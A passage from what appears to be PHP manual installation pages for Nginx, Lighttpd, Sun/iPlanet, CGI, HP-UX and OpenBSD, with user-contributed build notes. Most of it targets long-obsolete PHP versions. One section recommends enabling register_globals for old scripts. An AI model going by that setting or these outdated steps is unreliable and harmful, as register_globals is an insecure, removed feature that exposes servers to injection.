sudo make install

  4. Obtain and move configuration files to their correct locations

    cp php.ini-development /usr/local/php/php.ini
cp /usr/local/etc/php-fpm.conf.default /usr/local/etc/php-fpm.conf
cp sapi/fpm/php-fpm /usr/local/bin

  5. It is important that we prevent Nginx from passing requests to the PHP-FPM backend if the file does not exists, allowing us to prevent arbitrarily script injection.

    We can fix this by setting the cgi.fix_pathinfo directive to 0 within our php.ini file.

    Load up php.ini:

    vim /usr/local/php/php.ini

    Locate cgi.fix_pathinfo= and modify it as follows:

    cgi.fix_pathinfo=0

  6. php-fpm.conf must be modified to specify that php-fpm must run as the user www-data and the group www-data before we can start the service:

    vim /usr/local/etc/php-fpm.conf

    Find and modify the following:

    ; Unix user/group of processes
; Note: The user is mandatory. If the group is not set, the default user's group
;       will be used.
user = www-data
group = www-data

    The php-fpm service can now be started:

    /usr/local/bin/php-fpm

    This guide will not configure php-fpm any further, if you are interested in further configuring php-fpm then please consult the documentation.

  7. Nginx must now be configured to support the processing of PHP applications:

    vim /usr/local/nginx/conf/nginx.conf

    Modify the default location block to be aware it must attempt to serve .php files:

    location / {
    root   html;
    index  index.php index.html index.htm;
}

    The next step is to ensure that .php files are passed to the PHP-FPM backend, blow the commented default PHP location block, enter the following:

    location ~* \.php$ {
    fastcgi_index   index.php;
    fastcgi_pass    127.0.0.1:9000;
    include         fastcgi_params;
    fastcgi_param   SCRIPT_FILENAME    $document_root$fastcgi_script_name;
    fastcgi_param   SCRIPT_NAME        $fastcgi_script_name;
}

    Restart Nginx.

    sudo /usr/local/nginx/sbin/nginx -s stop
sudo /usr/local/nginx/sbin/nginx

  8. Create a test file

    rm /usr/local/nginx/html/index.html
echo "<?php phpinfo(); ?>" >> /usr/local/nginx/html/index.php

    Now navigate to http://localhost. The phpinfo() should now be shown.

Following the steps above you will have a running Nginx web server with support for PHP as a SAPI module. Of course there are many more configuration options available for Nginx and PHP. For more information type ./configure --help in the corresponding source tree.

User Contributed Notes

There are no user contributed notes for this page.


Lighttpd 1.4 on Unix systems

This section contains notes and hints specific to Lighttpd 1.4 installs of PHP on Unix systems.

Please use the » Lighttpd trac to learn how to install Lighttpd properly before continuing.

Fastcgi is the preferred SAPI to connect PHP and Lighttpd. Fastcgi is automagically enabled in php-cgi in PHP 5.3, but for older versions configure PHP with --enable-fastcgi. To confirm that PHP has fastcgi enabled, php -v should contain PHP 5.2.5 (cgi-fcgi) Before PHP 5.2.3, fastcgi was enabled on the php binary (there was no php-cgi).

Letting Lighttpd spawn php processes

To configure Lighttpd to connect to php and spawn fastcgi processes, edit lighttpd.conf. Sockets are preferred to connect to fastcgi processes on the local system.

Example #1 Partial lighttpd.conf

server.modules += ( "mod_fastcgi" )

fastcgi.server = ( ".php" =>
  ((
    "socket" => "/tmp/php.socket",
    "bin-path" => "/usr/local/bin/php-cgi",
    "bin-environment" => (
      "PHP_FCGI_CHILDREN" => "16",
      "PHP_FCGI_MAX_REQUESTS" => "10000"
    ),
    "min-procs" => 1,
    "max-procs" => 1,
    "idle-timeout" => 20
  ))
)

The bin-path directive allows lighttpd to spawn fastcgi processes dynamically. PHP will spawn children according to the PHP_FCGI_CHILDREN environment variable. The "bin-environment" directive sets the environment for the spawned processes. PHP will kill a child process after the number of requests specified by PHP_FCGI_MAX_REQUESTS is reached. The directives "min-procs" and "max-procs" should generally be avoided with PHP. PHP manages its own children and opcode caches like APC will only share among children managed by PHP. If "min-procs" is set to something greater than 1, the total number of php responders will be multiplied PHP_FCGI_CHILDREN (2 min-procs * 16 children gives 32 responders).

Spawning with spawn-fcgi

Lighttpd provides a program called spawn-fcgi to ease the process of spawning fastcgi processes easier.

Spawning php-cgi

It is possible to spawn processes without spawn-fcgi, though a bit of heavy-lifting is required. Setting the PHP_FCGI_CHILDREN environment var controls how many children PHP will spawn to handle incoming requests. Setting PHP_FCGI_MAX_REQUESTS will determine how long (in requests) each child will live. Here's a simple bash script to help spawn php responders.

Example #2 Spawning FastCGI Responders

#!/bin/sh

# Location of the php-cgi binary
PHP=/usr/local/bin/php-cgi

# PID File location
PHP_PID=/tmp/php.pid

# Binding to an address
#FCGI_BIND_ADDRESS=10.0.1.1:10000
# Binding to a domain socket
FCGI_BIND_ADDRESS=/tmp/php.sock

PHP_FCGI_CHILDREN=16
PHP_FCGI_MAX_REQUESTS=10000

env -i PHP_FCGI_CHILDREN=$PHP_FCGI_CHILDREN \
       PHP_FCGI_MAX_REQUESTS=$PHP_FCGI_MAX_REQUESTS \
       $PHP -b $FCGI_BIND_ADDRESS &

echo $! > "$PHP_PID"

Connecting to remote FCGI instances

Fastcgi instances can be spawned on multiple remote machines in order to scale applications.

Example #3 Connecting to remote php-fastcgi instances

fastcgi.server = ( ".php" =>
   (( "host" => "10.0.0.2", "port" => 1030 ),
    ( "host" => "10.0.0.3", "port" => 1030 ))
)

User Contributed Notes

pittss at gmail dot com 10-Aug-2011 01:53
You can custom php.ini just  add environment PHPRC in your virtualhost.

    fastcgi.server    = ( ".php" => ((
        "bin-path" => "/usr/bin/php-cgi",
        "socket" => "/tmp/php.socket",
        "bin-environment" => (
            "PHP_FCGI_CHILDREN" => "3",
            "PHP_FCGI_MAX_REQUESTS" => "1000",
            "PHPRC" => "/usr/www/vhost1/php.ini"
        ),
        "bin-copy-environment" => (
            "PATH", "SHELL", "USER"
        ),
        "broken-scriptfilename" => "enable"
    )))
Ant P. 10-Jun-2010 04:09
If PHP_FCGI_MAX_REQUESTS isn't given, the default value is 500.
askroot at gmail dot com 07-Apr-2009 11:32
<-- Start -->
#!/bin/bash

/usr/bin/spawn-fcgi \
    -s /var/run/lighttpd/php-fastcgi-kr.php.net.socket \
    -f "/usr/bin/php-cgi -c /etc/php-kr.php.net.ini" \
    -u lighttpd \
    -g lighttpd \
    -C 4 \
    -P /var/run/spawn-fcgi-kr.php.net.pid \
    -F 12
<--  End -->

lighttpd 1.5 - Config
<-- Start -->
$HTTP["host"] =~ "^(www.)?kr.php.net" {
    server.document-root = "/home/kr.php.net"
    accesslog.filename = "/var/log/lighttpd/kr.php.net-access_log"
    index-file.names = ( "index.php", "index.html", "index.htm" )
    url.access-deny = ( "~", ".inc", ".htaccess" )
    server.error-handler-404 = "/error.php"
    alias.url = (
        "/FAQ.php" => "/home/kr.php.net/manual/kr/faq.php",
        "/stats" => "/home/kr.php.net-stats"
    )
    setenv.add-environment = (
        "MIRROR_LANGUAGE" => "kr",
        "MIRROR_STATS" => "1"
    )
    $HTTP["url"] =~ "\.php$" {
        proxy-core.balancer = "round-robin"
        proxy-core.allow-x-sendfile = "enable"
        proxy-core.protocol = "fastcgi"
        proxy-core.backends = ( "unix:/var/run/lighttpd/php-fastcgi-kr.php.net.socket" )
        proxy-core.max-pool-size = 16
    }
}
<-- End -->


Sun, iPlanet and Netscape servers on Sun Solaris

This section contains notes and hints specific to Sun Java System Web Server, Sun ONE Web Server, iPlanet and Netscape server installs of PHP on Sun Solaris.

From PHP 4.3.3 on you can use PHP scripts with the NSAPI module to generate custom directory listings and error pages. Additional functions for Apache compatibility are also available. For support in current web servers read the note about subrequests.

You can find more information about setting up PHP for the Netscape Enterprise Server (NES) here: » http://benoit.noss.free.fr/php/install-php4.html

To build PHP with Sun JSWS/Sun ONE WS/iPlanet/Netscape web servers, enter the proper install directory for the --with-nsapi=[DIR] option. The default directory is usually /opt/netscape/suitespot/. Please also read /php-xxx-version/sapi/nsapi/nsapi-readme.txt.

  1. Install the following packages from » http://www.sunfreeware.com/ or another download site:

    • autoconf-2.13
    • automake-1.4
    • bison-1_25-sol26-sparc-local
    • flex-2_5_4a-sol26-sparc-local
    • gcc-2_95_2-sol26-sparc-local
    • gzip-1.2.4-sol26-sparc-local
    • m4-1_4-sol26-sparc-local
    • make-3_76_1-sol26-sparc-local
    • mysql-3.23.24-beta (if you want mysql support)
    • perl-5_005_03-sol26-sparc-local
    • tar-1.13 (GNU tar)

  2. Make sure your path includes the proper directories PATH=.:/usr/local/bin:/usr/sbin:/usr/bin:/usr/ccs/bin and make it available to your system export PATH.
  3. gunzip php-x.x.x.tar.gz (if you have a .gz dist, otherwise go to 4).
  4. tar xvf php-x.x.x.tar
  5. Change to your extracted PHP directory: cd ../php-x.x.x

  6. For the following step, make sure /opt/netscape/suitespot/ is where your netscape server is installed. Otherwise, change to the correct path and run:

    ./configure --with-mysql=/usr/local/mysql \
--with-nsapi=/opt/netscape/suitespot/ \
--enable-libgcc

  7. Run make followed by make install.

After performing the base install and reading the appropriate readme file, you may need to perform some additional configuration steps.

Configuration Instructions for Sun/iPlanet/Netscape

Firstly you may need to add some paths to the LD_LIBRARY_PATH environment for the server to find all the shared libs. This can best done in the start script for your web server. The start script is often located in: /path/to/server/https-servername/start. You may also need to edit the configuration files that are located in: /path/to/server/https-servername/config/.

  1. Add the following line to mime.types (you can do that by the administration server):

    type=magnus-internal/x-httpd-php exts=php

  2. Edit magnus.conf (for servers >= 6) or obj.conf (for servers < 6) and add the following, shlib will vary depending on your system, it will be something like /opt/netscape/suitespot/bin/libphp4.so. You should place the following lines after mime types init.

    Init fn="load-modules" funcs="php4_init,php4_execute,php4_auth_trans" shlib="/opt/netscape/suitespot/bin/libphp4.so"
Init fn="php4_init" LateInit="yes" errorString="Failed to initialize PHP!" [php_ini="/path/to/php.ini"]
    (PHP >= 4.3.3) The php_ini parameter is optional but with it you can place your php.ini in your web server config directory.

  3. Configure the default object in obj.conf (for virtual server classes [version 6.0+] in their vserver.obj.conf):

    <Object name="default">
.
.
.
.#NOTE this next line should happen after all 'ObjectType' and before all 'AddLog' lines
Service fn="php4_execute" type="magnus-internal/x-httpd-php" [inikey=value inikey=value ...]
.
.
</Object>
    (PHP >= 4.3.3) As additional parameters you can add some special php.ini-values, for example you can set a docroot="/path/to/docroot" specific to the context php4_execute is called. For boolean ini-keys please use 0/1 as value, not "On","Off",... (this will not work correctly), e.g. zlib.output_compression=1 instead of zlib.output_compression="On"

  4. This is only needed if you want to configure a directory that only consists of PHP scripts (same like a cgi-bin directory):

    <Object name="x-httpd-php">
ObjectType fn="force-type" type="magnus-internal/x-httpd-php"
Service fn=php4_execute [inikey=value inikey=value ...]
</Object>
    After that you can configure a directory in the Administration server and assign it the style x-httpd-php. All files in it will get executed as PHP. This is nice to hide PHP usage by renaming files to .html.

  5. Setup of authentication: PHP authentication cannot be used with any other authentication. ALL AUTHENTICATION IS PASSED TO YOUR PHP SCRIPT. To configure PHP Authentication for the entire server, add the following line to your default object:

    <Object name="default">
AuthTrans fn=php4_auth_trans
.
.
.
</Object>

  6. To use PHP Authentication on a single directory, add the following:

    <Object ppath="d:\path\to\authenticated\dir\*">
AuthTrans fn=php4_auth_trans
</Object>

Note:

The stacksize that PHP uses depends on the configuration of the web server. If you get crashes with very large PHP scripts, it is recommended to raise it with the Admin Server (in the section "MAGNUS EDITOR").

CGI environment and recommended modifications in php.ini

Important when writing PHP scripts is the fact that Sun JSWS/Sun ONE WS/iPlanet/Netscape is a multithreaded web server. Because of that all requests are running in the same process space (the space of the web server itself) and this space has only one environment. If you want to get CGI variables like PATH_INFO, HTTP_HOST etc. it is not the correct way to try this in the old PHP way with getenv() or a similar way (register globals to environment, $_ENV). You would only get the environment of the running web server without any valid CGI variables!

Note:

Why are there (invalid) CGI variables in the environment?

Answer: This is because you started the web server process from the admin server which runs the startup script of the web server, you wanted to start, as a CGI script (a CGI script inside of the admin server!). This is why the environment of the started web server has some CGI environment variables in it. You can test this by starting the web server not from the administration server. Use the command line as root user and start it manually - you will see there are no CGI-like environment variables.

Simply change your scripts to get CGI variables in the correct way for PHP 4.x by using the superglobal $_SERVER. If you have older scripts which use $HTTP_HOST, etc., you should turn on register_globals in php.ini and change the variable order too (important: remove "E" from it, because you do not need the environment here):

variables_order = "GPCS"
register_globals = On

Special use for error pages or self-made directory listings (PHP >= 4.3.3)

You can use PHP to generate the error pages for "404 Not Found" or similar. Add the following line to the object in obj.conf for every error page you want to overwrite:

Error fn="php4_execute" code=XXX script="/path/to/script.php" [inikey=value inikey=value...]
where XXX is the HTTP error code. Please delete any other Error directives which could interfere with yours. If you want to place a page for all errors that could exist, leave the code parameter out. Your script can get the HTTP status code with $_SERVER['ERROR_TYPE'].

Another possibility is to generate self-made directory listings. Just create a PHP script which displays a directory listing and replace the corresponding default Service line for type="magnus-internal/directory" in obj.conf with the following:

Service fn="php4_execute" type="magnus-internal/directory" script="/path/to/script.php" [inikey=value inikey=value...]
For both error and directory listing pages the original URI and translated URI are in the variables $_SERVER['PATH_INFO'] and $_SERVER['PATH_TRANSLATED'].

Note about nsapi_virtual() and subrequests (PHP >= 4.3.3)

The NSAPI module now supports the nsapi_virtual() function (alias: virtual()) to make subrequests on the web server and insert the result in the web page. This function uses some undocumented features from the NSAPI library. On Unix the module automatically looks for the needed functions and uses them if available. If not, nsapi_virtual() is disabled.

Note:

But be warned: Support for nsapi_virtual() is EXPERIMENTAL!!!

User Contributed Notes

Lucius Rizzo Lucius dot Rizzo at Has dot Education 09-May-2014 03:24
In case we.je (the originating domain) is dropped, I thought I'd add one that should last longer

The new URL is:

http://our.guru/oracle-iplanet-web-server-running-on-arch-linux-with-php-fpm-hello-speed-meet-kettle/

--
Lucius Rizzo
www.Lucius.Tel
Lucius Rizzo 22-Jan-2014 02:38
http://we.je/oracle-iplanet-web-server-running-on-arch-linux-with-php-fpm-hello-speed-meet-kettle/

If you are looking to setup Oracle iPlanet Web server using the much more effective option of using php-fpm, please follow the link above to learn how to accomplish this.

Lucius Rizzo
www.say.si
Brian 07-Apr-2008 04:15
For me at least, this part of the second line in the magnus.conf is not optional:

Init fn="php5_init" LateInit="yes"

Without it, the web server crashes when trying to execute php files
yairl at savion dot huji dot ac dot il 29-Nov-2007 02:01
For installation instruction for the new Sun One 7 webserver you must read the following doc. PHP 5.2.X will work fine, old version needs some changes.

http://developers.sun.com/webtier/reference/techart/php2.html
ericbackstrom at hotmail dot com 28-Mar-2006 12:09
Using gcc 3.3 I had problems compiling PHP for 64 bits, I had to replace mysql/64 bits with mysql/32 bits (Solaris cannot mix 32 bits and 64 bits libraries), so I specified the following compiler flag:

CFLAGS="-m32";export CFLAGS;

I also had problems with PHP 5.1.2 in sapi/nsapi/nsapi.c source code, It had incorrect comments and file paths :S

When trying to install PHP with mysql support I found I had these problems too: http://bugs.php.net/bug.php?id=34516... So don't mix sun ld and gcc ld because you will get into troubles. I built mysql libraries myself in a separated directory.

And don't forget to set your LD_LIBRARY_PATH to something like:

LD_LIBRARY_PATH="/usr/local/lib:/usr/lib"
vijay 13-Mar-2006 03:48
If I start my iPlanet (v6.0 SP2) webserver with PHP5.1.2 i get this message every 1/2 sec in my error log....

[12/Mar/2006:11:01:48] failure (15936): Failed to read kernel statistics structures (No such device or address)

This happens only if I start my server loading PHP module. FYI - When I configured my php I had it use oracle instant client libraries.

One fix I found was to comment out this line in my magnus.conf file.

#Init fn="stats-init" profiling="on"

But I don't think i can do this on my prodcution machine. Any ideas to come around this issue?

Thanks
Vijay
jedokahn at yahoo dot com at 23-Nov-2004 09:50
I noted and installed *all* pkgs required to compile PHP5 but kept getting an error on compile when it attempted to test the gcc compiler. The /usr/ccs/bin and all the $PATH requirements were ALL there....why the error? I tried running gcc from the command prompt and got a "gcc: fatal: libiconv.so.2: open failed: "....DUH I needed to install the libiconv pkg from sunfreeware.com for gcc compiler to work. Just a small bonehead maneuver, but I thought I would add it just in case someone else ran into the particular problem.
masochisthalo at yahoo dot com 23-Aug-2004 11:28
Title: Barebones PHP Installation on Sun One Web Server 6.1 for JDS2
Author: Hijinio Reynoso Jr.
Last Updated: August 23, 2004
Summary: If you have installed Sun One Web Server 6.1 on the JDS (aka Java Desktop System from Sun), this will help you get PHP installed on it (without XML and MySQL support.)  In any case, this should get you started which is better than not having it installed at all.  These directions were based mainly on those available from PHP.net, but updated to meet the needs of this specific configuration.

Instructions
----------------------------
0. Make sure your web server isn't running and ensure that all JDS developer packages are installed; to be safe, I always ensure that all developer packages are available via Applications > System Tools > Administration > Software Installer

1. Download http://us3.php.net/get/php-5.0.1.tar.bz2/from/a/mirror and extract into the directory of your choice. (5.0.1 was the only version I could get to make install correctly)

2. CD into the extracted PHP directory and type:
> ./configure --with-nsapi=/opt/SUNWwbsvr --enable-libgcc --disable-libxml
(Your web server directory may vary from the above's default.)

3. Once it's done configuring (and it should be successful should you have all the proper packages), type:
> make

4. When its done compiling, it's time to install as root:
# make install

5. Now, configuration of your web server begins:
# cd /opt/SUNWwbsvr/https-[yourWebServer]/config

6. vi mime.types (or other editor) to add this line into it:
type=magnus-internal/x-httpd-php exts=php

7. vi magnus.conf to add the following 2 lines to end of it:  (NOTE: the 2nd line could be optional)
Init fn="load-modules" funcs="php5_init,php5_execute,php5_auth_trans" shlib="/opt/SUNWwbsvr/bin/libphp5.so"
Init fn="php5_init" LateInit="yes" errorString="Failed to initialize PHP!" [php_ini="/path/to/php.ini"]

8. vi obj.conf to add the following line to <Object name="default">. Make sure this happens after all "ObjectType" entries and before any "AddLog" entries:  (NOTE: for virtual servers, edit vserver.obj.conf)
Service fn="php5_execute" type="magnus-internal/x-httpd-php" [inikey=value inikey=value ...]

9. Now, start up your web server.  Also, make sure to log into the admin server and click the "Apply" button in there.  You will also have set "index.php" as an index filename in your virtual server's Document Preferences.

10. Congrats!  Now, you have PHP installed!  Of course, there are other features you could enable (MySQL, XML, etc.), but I haven't tested against those.  Just consult the following page for hints: http://www.php.net/manual/en/install.unix.sun.php
mark at markround dot com 19-Aug-2004 06:36
Quick note : By replacing "php4" with "php5", the above instructions work perfectly when building PHP5 for an iPlanet server. EG:-

Init fn="load-modules" funcs="php5_init,php5_execute,php5_auth_trans" etc.

Works fine here on 6.0SP2, Solaris 9 Sparc.

-Mark
[mark at markround dot com]


CGI and command line setups

By default, PHP is built as both a CLI and CGI program, which can be used for CGI processing. If you are running a web server that PHP has module support for, you should generally go for that solution for performance reasons. However, the CGI version enables users to run different PHP-enabled pages under different user-ids.

Warning

A server deployed in CGI mode is open to several possible vulnerabilities. Please read our CGI security section to learn how to defend yourself from such attacks.

Testing

If you have built PHP as a CGI program, you may test your build by typing make test. It is always a good idea to test your build. This way you may catch a problem with PHP on your platform early instead of having to struggle with it later.

Using Variables

Some server supplied environment variables are not defined in the current » CGI/1.1 specification. Only the following variables are defined there: AUTH_TYPE, CONTENT_LENGTH, CONTENT_TYPE, GATEWAY_INTERFACE, PATH_INFO, PATH_TRANSLATED, QUERY_STRING, REMOTE_ADDR, REMOTE_HOST, REMOTE_IDENT, REMOTE_USER, REQUEST_METHOD, SCRIPT_NAME, SERVER_NAME, SERVER_PORT, SERVER_PROTOCOL, and SERVER_SOFTWARE. Everything else should be treated as 'vendor extensions'.

User Contributed Notes

gordon_e_rouse at yahoo dot com dot au 28-Feb-2008 09:25
Have noticed on debian now, and may be true of other builds, that if you are using php as a command line language, you don't need the -q ie: #!/usr/bin/php -q anymore.

What really took me ages to work out was how to the use php in cgi mode (ie in a cgi-bin directory) as it doesn't send http headers by default. It also fails to populate $_GET and $_POST arrays.

Turns out debian php build comes with /usr/bin/php-cgi

Use this in your shebang if running CGI scripts!

ie:

#!/usr/bin/php-cgi

I understand now - but had to figure this out myself!

Keywords I tried to solve this problem with were:

PHP, CGI, no $_GET array, Premature end of script headers, No http Headers, debian

Hopefully this post might save someone many hours of frustration, if they are googling the above words!
info at ch2o dot info 17-Jun-2005 04:59
additionnal information to fastcgi...

the compilation of fastcgi library is not nessesary, php include a modified version of this library,
and fastcgi module have this own implementation of the protocole fastcgi...

on the first server (where apache are!) the uid and gid of apache instance of the fastcgi module
must be the same on the php file to execute...
without that they dont work...
the module refuse to send the request to the fastcgi php server...
info at ch2o dot info 13-Jun-2005 07:59
for using fastcgi external server in place of cgi or mod php with php:

to compile fastcgi librairie:

  wget http://www.fastcgi.com/dist/fcgi-2.4.0.tar.gz
  tar xzvf fcgi-2.4.0.tar.gz
  cd fcgi-2.4.0
  ./configure
  make
  gmake install

to compile the fastcgi apache module:

  wget http://www.fastcgi.com/dist/mod_fastcgi-2.4.2.tar.gz
  tar xvzf mod_fastcgi-2.4.2.tar.gz
  cd mod_fastcgi-2.4.2
  path/to/apache/bin/apxs -i -A -n fastcgi -o mod_fastcgi.la -c *.c

after you must modify the http.conf to add that:

  # load fcgi module
  LoadModule fastcgi_module      modules/mod_fastcgi.so

  # authorization to execute fcgi  on tree "/fcgi-bin/"
  <Location /fcgi-bin/>
      Options ExecCGI
      SetHandler fastcgi-script
  </Location>

  # define fastcgi external serveur for virtual path "/fcgi-bin/phpfcgi" to execute on targetmachinehost with targetport
  FastCgiExternalServer /fcgi-bin/phpfcgi -host targetmachinehostname:targetport

  # mime type definietion for some extention
  AddType application/x-httpd-fastphp .php .cphp .php4

  #define apache cgi regirection with the virtual action script /fcgi-bin/phpfcgi associated with the defined mime type.
  Action application/x-httpd-fastphp /fcgi-bin/phpfcgi

start apache.

compile php with --enable-cgi  and --enable-fastcgi=/to/lib/fastcgi

start on target machine php with "php -b ip:port" for ear request from mod_fastcgi.

some aditional thing are in sapi/cgi/README.FastCGI of php src tree.

the document root of the apache machine must be synchronous with the php target machine... with the same tree...

and with that solution you can mixe php5 and php4 with different extention of apache directory limitation to one or another version...

with performance like mod_php!
kptrs at yahoo dot com 07-Jun-2004 01:37
Dug out from the discussion at the site below is a good tip: if you are working with an existing PHP installation which did not build either the commandline or CGI servers, you can use the lynx non-graphical web browser to get the web server to execute php scripts from the command line (or cron jobs, etc):

lynx -dump http://whatever

>If you wish to use PHP as a scripting language, a good article to read is >http://www.phpbuilder.com/columns/darrell20000319.php3

>note that the article is aimed at *nix not win32, but most of it still applies
phil at philkern dot de 03-Jan-2003 07:40
Thanks nordkyn, this one was very helpful.
Please note that the kernel has to be compiled with misc binary support, which is activated on most distributions like Debian.
You would have to please these two lines in a script to run it after every reboot, on debian I propose /etc/init.d/bootmisc.sh
You could place this lines at the end but before : exit 0
---
# Install PHP as binary handler

mount -t binfmt_misc none /proc/sys/fs/binfmt_misc
echo ":PHP:E::php::/usr/bin/php4:" > /proc/sys/fs/binfmt_misc/register
---
And please remember that the package management would override the file on the next distribution upgrade :)
cv at corbach dot de 20-Feb-2002 05:18
Up to and including 4.1.1 you have to set doc_root to an non empty value if you configure PHP for CGI usage with --enable-discard-path.


HP-UX specific installation notes

This section contains notes and hints specific to installing PHP on HP-UX systems.

There are two main options for installing PHP on HP-UX systems. Either compile it, or install a pre-compiled binary.

Official pre-compiled packages are located here: » http://software.hp.com/

Until this manual section is rewritten, the documentation about compiling PHP (and related extensions) on HP-UX systems has been removed. For now, consider reading the following external resource: » Building Apache and PHP on HP-UX 11.11

User Contributed Notes

Vinayak 23-Mar-2006 01:14
Installing PHP 5.x with Apache 2.x on HP UX 11i and configuring
PHP 5.x with Oracle 9i

I am very glad to share this information to configure PHP 5.x work
with Apache 2.x and Oracle 9i on HP UX 11i.

Step 1: Install Apache 2.x with DSO support:
--------------------------------------------

This is a stratight forward Apache installation with
--enable-so option

gzip -d httpd-2_0_NN.tar.gz
tar xvf httpd-2_0_NN.tar
cd httpd-2_0_NN

./configure \
--prefix=/var/apps/apache2 \
--enable-so \
--enable-mods-shared=most \
--libexecdir=/var/apps/apache2/libexec

You can add other options as required.

make

make install

Step 2: Install and configure PHP 5.x with Oracle 9i
----------------------------------------------------

Edit the ./configure file to change "$OCI8_DIR/lib" as "$OCI8_DIR/lib32"

By default, with Oracle 9i, "$OCI8_DIR/lib" will be poiting to
Oracle 64 bit libraries in "$OCI8_DIR/lib64" directory.
Unfortunately, PHP 5.x does not work with 64 bit oracle shared libraries.

Run configure..

$ ./configure \
--prefix=/var/apps/php \
--with-apxs2=/var/apps/apache2/bin/apxs \
--with-oci8=/oracle/app/product/9.0.2 \
--disable-libxml \
--enable-libgcc \
--enable-ftp \
--enable-calendar \
--enable-track-vars \
--enable-trans-sid \
--enable-sigchild \
--libexecdir=/var/apps/apache2/libexec \
--with-config-file-path=/var/apps/apache2/conf

--enable-libgcc \
--enable-sigchild \

You can add other options as required. You can use the --help
option to configure to get a complete list.

After configure runs, you must edit the file libtool.

$ vi ./libtool

At line 184, you should change the line from:

deplibs_check_method="unknown"
to
deplibs_check_method="pass_all"

so that PHP and mod_php are properly compiled.

3. Compile and install the files.

Run make. This should complete normally.

$ make

Run make install. This will fail when it attempts to call apxs.

$ make install

Step 3: Configure Apache 2.x
----------------------------

Edit httpd.conf file to include

For PHP 5:

LoadModule php5_module modules/libphp5.so

AddType application/x-httpd-php .php .phtml

Set environment variables in $APACHE_ROOT/bin/envvars file

SHLIB_PATH="/var/apps/apache2/lib:$SHLIB_PATH"
export SHLIB_PATH

LD_LIBRARY_PATH=$ORACLE_HOME/app/product/9.0.2
/lib32
export LD_LIBRARY_PATH

LD_PRELOAD=/usr/lib/libpthread.sl:$ORACLE_HOME/app/
product/9.0.2/JRE/lib/PA_RISC/native_threads/libjava.sl
export LD_PRELOAD

After lot of hard work, by following the above procedure,
we were able to make PHP 5.x is work with Apache 2.x
and Oracle 9i on HP UX 11i OS.

Hope this will save your time!!
flconseil at yahoo dot fr 23-Jan-2006 03:47
If hpws is not an option for you, or if you want to build Apache and PHP with your own options and extensions, I have written a step by step tutorial.

It explains how to build Apache 2.0 and PHP 5 from scratch on HP-UX 11i (11.11), including most modules and extensions (zlib, SSL, LDAP, iconv, expat, xml, xslt, gd, png, Xpm, jpeg, freetype, bzip2, curl, MySQL, PostgreSQL, Oracle, AdoDB) :

http://flaupretre.free.fr/redir.php?key=build_apa_php
Marcus dot Reimann at reimann-systemberatung dot de 29-Aug-2003 04:50
If you need an Apache2-Server with PHP4 under HP-UX 11.x, it's a good way to download the HP-WebServer from the HP-Website (http://software.hp.com). The HP-Webserver comes with numerous moduls. First install the HP-Webserver (swinstall -s /absolute_path_to_depot_file/name_of_depot_file). After that, download the newest PHP-Version from http://www.php.net (HP ships the HP-Webserver with an old PHP-Version) and unpack the tar-file in a working-directory.

Use the following parameters for configure PHP:
./configure --with-apxs2=/opt/hpws/apache/bin/apxs --prefix=/opt/hpws/apache/php [and so on...]

If configure prints the error "expr: An integer value was expected.", than you have to edit the Script "configure". Replace the line:
APACHE_VERSION=`expr $4 \* 1000000 + $5 \* 1000 + $6`
with the following (correct and very long) line:
APACHE_VERSION=`$APXS_HTTPD -v | head -1 | cut -f3 -d' ' | cut -f2 -d'/' | awk 'BEGIN { FS = "."; } { printf "%d", ($1 * 1000 + $2) * 1000 + $3;}'`

Why? The output of "httpd -v" prints the following string:
Server version: HP-UX_Apache-based_Web_Server/2.0.46
Server built:   Jun 26 2003 04:41:28
But the configure-Script can't deal with this string.
james at nospam dot hp dot com 29-Jan-2002 04:46
To build for HP-UX 10.X/11.X (and some other UNIX variants) with '--enable-sockets', you'll get an error about 'u_int' being redefined in /usr/include/netinet/in.h and ext/sockets/sockets.c will fail to compile.  The problem is this line from main/php_config.h:
#define in_addr_t u_int

The above define is a problem because HP-UX (and some other UNIXs) typedef in_addr_t.  A good workaround is to replace this define in main/php_config.h with the lines from the HP-UX 11.X netinet/in.h header file (which will work for 10.X as well):
#ifndef _IN_ADDR_T
#define _IN_ADDR_T
#ifdef  __LP64__
   typedef unsigned int   in_addr_t;
#else
   typedef unsigned long  in_addr_t;
#endif
#endif
spam at adhocinc dot com 11-Oct-2001 11:35
For PHP 4.0.6 under HP-UX 11.00, I ran into errors during the compilation related to "LC_CTYPE" and other "LC_" vars.  The compilation complained that "LC_" such and such first used in such and such function.  (I think the error first came up in php_pcre.c, then in basic_functions.c).  The solution was to add "#include <locale.h>" to the php.h file.  Compilation was successful after that was added, with no other issues.  Used gcc 2.95.3, apache 1.3.20, bison 1.28, flex 2.5.4.a.
steven at oakleafconsultancy dot com 23-Jul-2001 05:28
Just a quick point to those of you (like me!) who might not be sharp enough to notice this: If you want to install PHP on an HP-UX 11.x box then you'll need to download and install the 11.x (not 10.20) versions of the software (like gcc and bison).  I didn't notice this and spent a large proportion of a day trying to figure out why the software wouldn't install!
Steve
marshalm at ebrd dot com 17-May-2001 07:58
HP-UX 11.X PA-RISC installation with oracle (oci8). You need to install the HP-UX patch PHSS_22514 patch (updated libdld.sl), otherwise you will get errors with dlopen() and dlclose() not found during the apache integration stage.
jonas__linden at hotmail dot com 23-Jan-2001 06:05
Building under HP-UX11
If you are using HP ANSI C you have to add +e i.e -Aa -D_HPUX_SOURCE +e


OpenBSD installation notes

This section contains notes and hints specific to installing PHP on » OpenBSD 3.6.

Using Binary Packages

Using binary packages to install PHP on OpenBSD is the recommended and simplest method. The core package has been separated from the various modules, and each can be installed and removed independently from the others. The files you need can be found on your OpenBSD CD or on the FTP site.

The main package you need to install is php4-core-4.3.8.tgz, which contains the basic engine (plus gettext and iconv). Next, take a look at the module packages, such as php4-mysql-4.3.8.tgz or php4-imap-4.3.8.tgz. You need to use the phpxs command to activate and deactivate these modules in your php.ini.

Example #1 OpenBSD Package Install Example

# pkg_add php4-core-4.3.8.tgz
# /usr/local/sbin/phpxs -s
# cp /usr/local/share/doc/php4/php.ini-recommended /var/www/conf/php.ini
  (add in mysql)
# pkg_add php4-mysql-4.3.8.tgz
# /usr/local/sbin/phpxs -a mysql
  (add in imap)
# pkg_add php4-imap-4.3.8.tgz
# /usr/local/sbin/phpxs -a imap
  (remove mysql as a test)
# pkg_delete php4-mysql-4.3.8
# /usr/local/sbin/phpxs -r mysql
  (install the PEAR libraries)
# pkg_add php4-pear-4.3.8.tgz

Read the » packages(7) manual page for more information about binary packages on OpenBSD.

Using Ports

